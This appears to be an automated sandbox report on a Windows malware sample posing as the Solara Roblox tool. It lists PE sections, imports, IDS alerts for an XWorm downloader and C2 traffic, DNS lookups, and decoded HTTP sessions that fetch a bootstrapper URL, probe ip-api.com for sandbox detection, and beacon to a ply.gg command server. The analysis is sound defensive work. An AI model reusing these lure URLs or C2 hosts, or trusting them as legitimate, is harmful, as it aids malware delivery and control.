.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2238	0x2400	9cd1eac931545f28ab09329f8bfce843	False	0.4697265625	data	5.2645170849678795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x399a8	0x39a00	2a222210866bf01a9ffa2603a48d267c	False	0.6296646217462039	data	6.62301529999922	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x81000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x47268	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.7278368794326241
RT_ICON	0x476d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	0.6729508196721311
RT_ICON	0x48058	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.6308630393996247
RT_ICON	0x49100	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.566597510373444
RT_ICON	0x4b6a8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.5219059990552669
RT_ICON	0x4f8d0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	0.5018022181146026
RT_ICON	0x54d58	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	0.46457851587134746
RT_ICON	0x5e200	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	0.43163669703064
RT_ICON	0x6ea28	0x119ea	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	1.0001385617292504
RT_GROUP_ICON	0x80414	0x84	data	0.7272727272727273
RT_MANIFEST	0x80498	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T19:03:21.950129+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49707	104.21.93.27	443	TCP
2024-12-20T19:05:22.723190+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.8	49838	147.185.221.18	35710	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 19:03:16.241172075 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:16.241245985 CET	443	49704	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:16.241395950 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:16.265434027 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:16.265454054 CET	443	49704	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:17.486840010 CET	443	49704	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:17.486949921 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:17.499360085 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:17.499391079 CET	443	49704	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:17.499696970 CET	443	49704	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:17.546314955 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:17.656372070 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:17.699340105 CET	443	49704	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:18.004667044 CET	443	49704	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:18.004759073 CET	443	49704	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:18.004812956 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:18.025722027 CET	49704	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:19.098551035 CET	49706	80	192.168.2.8	208.95.112.1
Dec 20, 2024 19:03:19.218533039 CET	80	49706	208.95.112.1	192.168.2.8
Dec 20, 2024 19:03:19.218667030 CET	49706	80	192.168.2.8	208.95.112.1
Dec 20, 2024 19:03:19.219291925 CET	49706	80	192.168.2.8	208.95.112.1
Dec 20, 2024 19:03:19.338857889 CET	80	49706	208.95.112.1	192.168.2.8
Dec 20, 2024 19:03:20.257213116 CET	49707	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:20.257266998 CET	443	49707	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:20.257364988 CET	49707	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:20.259417057 CET	49707	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:20.259437084 CET	443	49707	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:20.315226078 CET	80	49706	208.95.112.1	192.168.2.8
Dec 20, 2024 19:03:20.358786106 CET	49706	80	192.168.2.8	208.95.112.1
Dec 20, 2024 19:03:21.482506037 CET	443	49707	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:21.482604980 CET	49707	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:21.510457039 CET	49707	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:21.510478973 CET	443	49707	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:21.511512995 CET	443	49707	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:21.512876034 CET	49707	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:21.555370092 CET	443	49707	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:21.950257063 CET	443	49707	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:21.950609922 CET	443	49707	104.21.93.27	192.168.2.8
Dec 20, 2024 19:03:21.950668097 CET	49707	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:21.951014042 CET	49707	443	192.168.2.8	104.21.93.27
Dec 20, 2024 19:03:22.297492027 CET	49708	443	192.168.2.8	128.116.123.3
Dec 20, 2024 19:03:22.297543049 CET	443	49708	128.116.123.3	192.168.2.8
Dec 20, 2024 19:03:22.297719002 CET	49708	443	192.168.2.8	128.116.123.3
Dec 20, 2024 19:03:22.298190117 CET	49708	443	192.168.2.8	128.116.123.3
Dec 20, 2024 19:03:22.298201084 CET	443	49708	128.116.123.3	192.168.2.8
Dec 20, 2024 19:03:23.883888960 CET	443	49708	128.116.123.3	192.168.2.8
Dec 20, 2024 19:03:23.883975029 CET	49708	443	192.168.2.8	128.116.123.3
Dec 20, 2024 19:03:23.888123989 CET	49708	443	192.168.2.8	128.116.123.3
Dec 20, 2024 19:03:23.888138056 CET	443	49708	128.116.123.3	192.168.2.8
Dec 20, 2024 19:03:23.888529062 CET	443	49708	128.116.123.3	192.168.2.8
Dec 20, 2024 19:03:23.889658928 CET	49708	443	192.168.2.8	128.116.123.3
Dec 20, 2024 19:03:23.931349993 CET	443	49708	128.116.123.3	192.168.2.8
Dec 20, 2024 19:03:24.585665941 CET	443	49708	128.116.123.3	192.168.2.8
Dec 20, 2024 19:03:24.585844994 CET	443	49708	128.116.123.3	192.168.2.8
Dec 20, 2024 19:03:24.585901976 CET	49708	443	192.168.2.8	128.116.123.3
Dec 20, 2024 19:03:24.586652994 CET	49708	443	192.168.2.8	128.116.123.3
Dec 20, 2024 19:03:26.336843967 CET	49709	443	192.168.2.8	104.20.22.46
Dec 20, 2024 19:03:26.336873055 CET	443	49709	104.20.22.46	192.168.2.8
Dec 20, 2024 19:03:26.337240934 CET	49709	443	192.168.2.8	104.20.22.46
Dec 20, 2024 19:03:26.337476015 CET	49709	443	192.168.2.8	104.20.22.46
Dec 20, 2024 19:03:26.337488890 CET	443	49709	104.20.22.46	192.168.2.8
Dec 20, 2024 19:03:27.572078943 CET	443	49709	104.20.22.46	192.168.2.8
Dec 20, 2024 19:03:27.572182894 CET	49709	443	192.168.2.8	104.20.22.46
Dec 20, 2024 19:03:27.575414896 CET	49709	443	192.168.2.8	104.20.22.46
Dec 20, 2024 19:03:27.575426102 CET	443	49709	104.20.22.46	192.168.2.8
Dec 20, 2024 19:03:27.575853109 CET	443	49709	104.20.22.46	192.168.2.8
Dec 20, 2024 19:03:27.577126026 CET	49709	443	192.168.2.8	104.20.22.46
Dec 20, 2024 19:03:27.623323917 CET	443	49709	104.20.22.46	192.168.2.8
Dec 20, 2024 19:03:28.264781952 CET	443	49709	104.20.22.46	192.168.2.8
Dec 20, 2024 19:03:28.264889002 CET	443	49709	104.20.22.46	192.168.2.8
Dec 20, 2024 19:03:28.265331984 CET	49709	443	192.168.2.8	104.20.22.46
Dec 20, 2024 19:03:28.266123056 CET	49709	443	192.168.2.8	104.20.22.46
Dec 20, 2024 19:04:30.051162004 CET	49723	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:30.170654058 CET	35710	49723	147.185.221.18	192.168.2.8
Dec 20, 2024 19:04:30.170839071 CET	49723	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:30.233340025 CET	49723	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:30.353702068 CET	35710	49723	147.185.221.18	192.168.2.8
Dec 20, 2024 19:04:32.982279062 CET	80	49706	208.95.112.1	192.168.2.8
Dec 20, 2024 19:04:32.982343912 CET	49706	80	192.168.2.8	208.95.112.1
Dec 20, 2024 19:04:35.493376017 CET	35710	49723	147.185.221.18	192.168.2.8
Dec 20, 2024 19:04:35.497354984 CET	49723	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:39.671601057 CET	49723	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:39.673588037 CET	49752	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:39.791157007 CET	35710	49723	147.185.221.18	192.168.2.8
Dec 20, 2024 19:04:39.793066978 CET	35710	49752	147.185.221.18	192.168.2.8
Dec 20, 2024 19:04:39.793143988 CET	49752	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:39.816638947 CET	49752	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:39.937304020 CET	35710	49752	147.185.221.18	192.168.2.8
Dec 20, 2024 19:04:50.968236923 CET	49752	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:04:51.087980986 CET	35710	49752	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:00.343728065 CET	49706	80	192.168.2.8	208.95.112.1
Dec 20, 2024 19:05:00.463217974 CET	80	49706	208.95.112.1	192.168.2.8
Dec 20, 2024 19:05:02.097227097 CET	49752	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:05:02.217751980 CET	35710	49752	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:13.238663912 CET	49752	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:05:13.358995914 CET	35710	49752	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:17.037026882 CET	35710	49752	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:17.037373066 CET	49752	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:05:18.107284069 CET	49752	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:05:18.109093904 CET	49838	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:05:18.226924896 CET	35710	49752	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:18.228636980 CET	35710	49838	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:18.228734016 CET	49838	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:05:18.264345884 CET	49838	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:05:18.384624004 CET	35710	49838	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:22.723190069 CET	49838	35710	192.168.2.8	147.185.221.18
Dec 20, 2024 19:05:22.844368935 CET	35710	49838	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:23.549030066 CET	35710	49838	147.185.221.18	192.168.2.8
Dec 20, 2024 19:05:23.549089909 CET	49838	35710	192.168.2.8	147.185.221.18

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 19:03:16.092793941 CET	52817	53	192.168.2.8	1.1.1.1
Dec 20, 2024 19:03:16.230163097 CET	53	52817	1.1.1.1	192.168.2.8
Dec 20, 2024 19:03:18.954171896 CET	52367	53	192.168.2.8	1.1.1.1
Dec 20, 2024 19:03:19.092135906 CET	53	52367	1.1.1.1	192.168.2.8
Dec 20, 2024 19:03:22.157427073 CET	53101	53	192.168.2.8	1.1.1.1
Dec 20, 2024 19:03:22.295531034 CET	53	53101	1.1.1.1	192.168.2.8
Dec 20, 2024 19:03:26.186937094 CET	61305	53	192.168.2.8	1.1.1.1
Dec 20, 2024 19:03:26.335366964 CET	53	61305	1.1.1.1	192.168.2.8
Dec 20, 2024 19:03:28.266953945 CET	63745	53	192.168.2.8	1.1.1.1
Dec 20, 2024 19:03:28.405214071 CET	53	63745	1.1.1.1	192.168.2.8
Dec 20, 2024 19:04:29.788145065 CET	65364	53	192.168.2.8	1.1.1.1
Dec 20, 2024 19:04:30.047128916 CET	53	65364	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 19:03:16.092793941 CET	192.168.2.8	1.1.1.1	0x2091	Standard query (0)	getsolara.dev	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:18.954171896 CET	192.168.2.8	1.1.1.1	0xa3a9	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:22.157427073 CET	192.168.2.8	1.1.1.1	0x87f5	Standard query (0)	clientsettings.roblox.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:26.186937094 CET	192.168.2.8	1.1.1.1	0xbb4c	Standard query (0)	www.nodejs.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:28.266953945 CET	192.168.2.8	1.1.1.1	0x32cf	Standard query (0)	nodejs.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:04:29.788145065 CET	192.168.2.8	1.1.1.1	0xa9e5	Standard query (0)	hope-asia.gl.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 19:03:16.230163097 CET	1.1.1.1	192.168.2.8	0x2091	No error (0)	getsolara.dev		104.21.93.27	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:16.230163097 CET	1.1.1.1	192.168.2.8	0x2091	No error (0)	getsolara.dev		172.67.203.125	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:19.092135906 CET	1.1.1.1	192.168.2.8	0xa3a9	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:22.295531034 CET	1.1.1.1	192.168.2.8	0x87f5	No error (0)	clientsettings.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 19:03:22.295531034 CET	1.1.1.1	192.168.2.8	0x87f5	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 19:03:22.295531034 CET	1.1.1.1	192.168.2.8	0x87f5	No error (0)	edge-term4.roblox.com	edge-term4-fra2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 19:03:22.295531034 CET	1.1.1.1	192.168.2.8	0x87f5	No error (0)	edge-term4-fra2.roblox.com		128.116.123.3	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:26.335366964 CET	1.1.1.1	192.168.2.8	0xbb4c	No error (0)	www.nodejs.org		104.20.22.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:26.335366964 CET	1.1.1.1	192.168.2.8	0xbb4c	No error (0)	www.nodejs.org		104.20.23.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:28.405214071 CET	1.1.1.1	192.168.2.8	0x32cf	No error (0)	nodejs.org		104.20.22.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:03:28.405214071 CET	1.1.1.1	192.168.2.8	0x32cf	No error (0)	nodejs.org		104.20.23.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 19:04:30.047128916 CET	1.1.1.1	192.168.2.8	0xa9e5	No error (0)	hope-asia.gl.at.ply.gg		147.185.221.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

getsolara.dev

clientsettings.roblox.com

www.nodejs.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	208.95.112.1	80	5560	C:\Users\user\AppData\Local\Temp\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 19:03:19.219291925 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Dec 20, 2024 19:03:20.315226078 CET	175	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 18:03:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	104.21.93.27	443	6476	C:\Users\user\AppData\Local\Temp\dddd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 18:03:17 UTC	81	OUT	GET /asset/discord.json HTTP/1.1 Host: getsolara.dev Connection: Keep-Alive
2024-12-20 18:03:18 UTC	1044	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 18:03:17 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"7d966f73b6ce74a610dddaf0d0951ed8" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xdFcZxxzvmop8nol5fgp3uP7UqiHsdhZS6TAbZCFpKSff2vt%2F4W4oAJRlx1a16BLSarNyOSVsfFQ8HgVeB7fJ41ChvU213THPUT9w4KgeKHJYXZy4%2FUSgtkgCQz%2ByhYV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding cf-cache-status: DYNAMIC Strict-Transport-Security: max-age=0 Server: cloudflare CF-RAY: 8f518c5c58bd8c0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1932&min_rtt=1926&rtt_var=735&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2812&recv_bytes=695&delivery_rate=1474747&cwnd=206&unsent_bytes=0&cid=59bb1cc31079636b&ts=531&x=0"
2024-12-20 18:03:18 UTC	109	IN	Data Raw: 36 37 0d 0a 7b 0a 20 20 20 20 22 61 72 67 73 22 20 3a 20 7b 0a 20 20 20 20 20 20 20 22 63 6f 64 65 22 20 3a 20 22 38 50 67 73 70 52 59 41 51 75 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 22 63 6d 64 22 20 3a 20 22 49 4e 56 49 54 45 5f 42 52 4f 57 53 45 52 22 2c 0a 20 20 20 20 22 6e 6f 6e 63 65 22 20 3a 20 22 2e 22 0a 20 7d 0d 0a Data Ascii: 67{ "args" : { "code" : "8PgspRYAQu" }, "cmd" : "INVITE_BROWSER", "nonce" : "." }
2024-12-20 18:03:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	104.21.93.27	443	6476	C:\Users\user\AppData\Local\Temp\dddd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 18:03:21 UTC	56	OUT	GET /api/endpoint.json HTTP/1.1 Host: getsolara.dev
2024-12-20 18:03:21 UTC	1046	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 18:03:21 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"75d0cd5c955470ce04c6372b65c32d37" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k2ASba77%2F7NV11AQvHGkjzE8biSE4gKGm2vo7%2BDjr8yhzfEm92fFzoRGC%2F92%2B4kTiNXDzBr28BEnRslh2CJxY2nBUNVLhMjkT6xgVwGheD0iOOQpfHisNPqFaktHsEO6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding cf-cache-status: DYNAMIC Strict-Transport-Security: max-age=0 Server: cloudflare CF-RAY: 8f518c74fc4b8cca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&min_rtt=1839&rtt_var=692&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2813&recv_bytes=694&delivery_rate=1577525&cwnd=239&unsent_bytes=0&cid=2b7fff29c95e903c&ts=481&x=0"
2024-12-20 18:03:21 UTC	323	IN	Data Raw: 32 31 34 0d 0a 7b 0a 20 20 20 20 22 42 6f 6f 74 73 74 72 61 70 70 65 72 56 65 72 73 69 6f 6e 22 3a 20 22 31 2e 32 33 22 2c 0a 20 20 20 20 22 53 75 70 70 6f 72 74 65 64 43 6c 69 65 6e 74 22 3a 20 22 76 65 72 73 69 6f 6e 2d 62 37 31 63 31 35 30 63 37 63 31 66 34 30 64 65 22 2c 0a 20 20 20 20 22 53 6f 66 74 77 61 72 65 56 65 72 73 69 6f 6e 22 3a 20 22 33 2e 31 33 32 22 2c 0a 20 20 20 20 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 34 38 35 62 31 62 30 37 2e 73 6f 6c 61 72 61 77 65 62 2d 61 6c 6a 2e 70 61 67 65 73 2e 64 65 76 2f 64 6f 77 6e 6c 6f 61 64 2f 73 74 61 74 69 63 2f 66 69 6c 65 73 2f 42 6f 6f 74 73 74 72 61 70 70 65 72 2e 65 78 65 22 2c 0a 20 20 20 20 22 53 6f 66 74 77 61 72 65 55 72 6c 22 3a 22 68 74 74 70 73 Data Ascii: 214{ "BootstrapperVersion": "1.23", "SupportedClient": "version-b71c150c7c1f40de", "SoftwareVersion": "3.132", "BootstrapperUrl": "https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe", "SoftwareUrl":"https
2024-12-20 18:03:21 UTC	216	IN	Data Raw: 2e 7a 69 70 22 2c 0a 20 20 20 20 22 56 65 72 73 69 6f 6e 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6c 69 65 6e 74 73 65 74 74 69 6e 67 73 2e 72 6f 62 6c 6f 78 2e 63 6f 6d 2f 76 32 2f 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 2f 57 69 6e 64 6f 77 73 50 6c 61 79 65 72 2f 63 68 61 6e 6e 65 6c 2f 6c 69 76 65 22 2c 0a 20 20 20 20 22 43 6c 69 65 6e 74 48 61 73 68 22 3a 22 33 30 39 64 66 65 34 38 30 32 62 36 33 30 65 36 61 38 66 32 37 32 33 36 34 38 38 39 66 63 66 31 65 63 36 61 32 39 62 39 63 63 37 31 64 62 34 39 36 65 62 36 33 34 33 39 36 64 33 63 36 39 63 61 22 2c 0a 20 20 20 20 22 43 68 61 6e 67 65 6c 6f 67 22 3a 22 5b 2b 5d 22 0a 7d 0d 0a Data Ascii: .zip", "VersionUrl":"https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live", "ClientHash":"309dfe4802b630e6a8f272364889fcf1ec6a29b9cc71db496eb634396d3c69ca", "Changelog":"[+]"}
2024-12-20 18:03:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49708	128.116.123.3	443	6476	C:\Users\user\AppData\Local\Temp\dddd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 18:03:23 UTC	119	OUT	GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1 Host: clientsettings.roblox.com Connection: Keep-Alive
2024-12-20 18:03:24 UTC	576	IN	HTTP/1.1 200 OK content-length: 119 content-type: application/json; charset=utf-8 date: Fri, 20 Dec 2024 18:03:23 GMT server: Kestrel cache-control: no-cache strict-transport-security: max-age=3600 x-frame-options: SAMEORIGIN roblox-machine-id: f63ffcfa-7b47-275e-eed1-ddb7c5532dc8 x-roblox-region: us-central_rbx x-roblox-edge: fra2 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://ncs.roblox.com/upload"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1} connection: close
2024-12-20 18:03:24 UTC	119	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 22 30 2e 36 35 34 2e 31 2e 36 35 34 30 34 37 37 22 2c 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 55 70 6c 6f 61 64 22 3a 22 76 65 72 73 69 6f 6e 2d 62 37 31 63 31 35 30 63 37 63 31 66 34 30 64 65 22 2c 22 62 6f 6f 74 73 74 72 61 70 70 65 72 56 65 72 73 69 6f 6e 22 3a 22 31 2c 20 36 2c 20 31 2c 20 36 35 34 30 34 37 37 22 7d Data Ascii: {"version":"0.654.1.6540477","clientVersionUpload":"version-b71c150c7c1f40de","bootstrapperVersion":"1, 6, 1, 6540477"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49709	104.20.22.46	443	6476	C:\Users\user\AppData\Local\Temp\dddd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 18:03:27 UTC	99	OUT	GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1 Host: www.nodejs.org Connection: Keep-Alive
2024-12-20 18:03:28 UTC	497	IN	HTTP/1.1 307 Temporary Redirect Date: Fri, 20 Dec 2024 18:03:28 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate location: https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi strict-transport-security: max-age=31536000; includeSubDomains; preload x-vercel-id: iad1::t7h44-1734717808094-cd253c9d17c5 CF-Cache-Status: DYNAMIC X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8f518c9af890431a-EWR
